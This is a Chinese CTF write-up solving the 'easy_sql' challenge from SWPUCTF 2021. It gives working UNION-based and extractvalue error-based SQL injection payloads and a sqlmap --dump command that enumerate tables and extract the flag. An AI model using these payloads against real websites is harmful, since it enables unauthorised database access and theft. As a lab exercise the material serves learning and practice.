[SWPUCTF 2021 新生赛]easy_sql - 联合注入||报错注入||sqlmap

这题可以直接参考:[NISACTF 2022]join-us - 报错注入&无列名注入

网站标题提示,参数是wllm
?wllm=1

得到:Your Login name:xxx Your Password:yyy

解法一:手注

1、先尝试普通注入?wllm=-1'union select 1,2,3--+

得到:Your Login name:2 Your Password:3

这里注意 ,wllm=-1才会回显占位符,否则还是xxx yyy

2、?wllm=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

得到:Your Login name:test_tb,users

3、?wllm=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),3--+

得到:Your Login name:id,flag

4、?wllm=-1'union select 1,(select group_concat(flag) from test_tb),3--+

得到:Your Login name:NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

如果能手注,还是非常舒服的!

解法二:报错注入

1、?wllm=1'-a()--+

得到:FUNCTION test_db.a does not exist

表为:test_db

2、?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema = 'test_db'),1,100),0x7e))--+

得到:XPATH syntax error: '~ test_tb,users ~'

3、查test_tb:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),1,100),0x7e))--+

得到:XPATH syntax error: '~ id,flag ~'

4、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),1,100),0x7e))--+

得到:XPATH syntax error: '~NSSCTF{82bf2238-f61d-41f1-b103-'

5、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),20,100),0x7e))--+

XPATH syntax error: '~ d-41f1-b103-848e28154cee} ~'

最终:flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

解法三:sqlmap

python sqlmap.py -u "http://xxxxxxxxxxxxx.cn:28930/?wllm=1" --batch --dump -T test_tb

sqlmap每次都要跑很久,个人喜欢手注

相关推荐
W***95241 分钟前
在Spring Boot项目中使用MySQL数据库
数据库·spring boot·mysql
合方圆~小文7 分钟前
球型摄像机作为现代监控系统的核心设备
java·数据库·c++·人工智能
骥龙1 小时前
4.12、隐私保护机器学习:联邦学习在安全数据协作中的应用
人工智能·安全·网络安全
天硕国产存储技术站1 小时前
DualPLP 双重掉电保护赋能 天硕工业级SSD筑牢关键领域安全存储方案
大数据·人工智能·安全·固态硬盘
q***87601 小时前
yum安装redis
数据库·redis·缓存
煎蛋学姐2 小时前
SSM旅游资讯信息服务系统的实现04s3n(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·旅游·ssm 框架·旅游资讯系统·会员管理
3***31212 小时前
初识MySQL · 库的操作
数据库·mysql
合作小小程序员小小店2 小时前
网页开发,在线%新版本旅游管理%系统,基于eclipse,html,css,jquery,servlet,jsp,mysql数据库
java·数据库·eclipse·html·intellij-idea·旅游·jsp
anod2 小时前
奇怪的mysql时区问题
数据库·mysql·eclipse
鲸说MySQL2 小时前
MySQL表文件损坏
数据库·mysql